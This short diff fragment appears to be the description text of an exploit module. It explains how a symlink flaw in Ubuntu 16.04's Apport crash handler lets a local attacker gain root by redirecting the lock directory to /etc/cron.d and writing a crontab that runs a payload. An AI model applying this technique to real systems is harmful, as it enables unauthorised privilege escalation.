+          On some Ubuntu releases such as Xenial Xerus 16.04.7 the Apport 2.20 crash handler is vulnerable
+          to symlink hijacking. Following a crash Apport will write reports to /var/lock/apport/lock,
+          an attacker who can create a symlink to a privileged directory via /var/lock/apport will be
+          able to create files with global 0777 permissions. This module exploits this weakness by creating a
+          symbolic link to /etc/cron.d/ in order to write a system crontab that will execute a payload with
+          elevated permissions.
